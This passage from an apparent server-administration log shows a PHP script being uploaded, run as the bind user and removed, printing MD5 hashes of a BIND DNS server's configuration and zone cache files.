					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:07:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp868595; rm /tmp/pkp868595'

2026-04-23 18:07:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:11:39: Establishing a connection
2026-04-23 18:11:39: 

PUT: /tmp/pkp363174

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:11:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp363174; rm /tmp/pkp363174'

2026-04-23 18:11:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
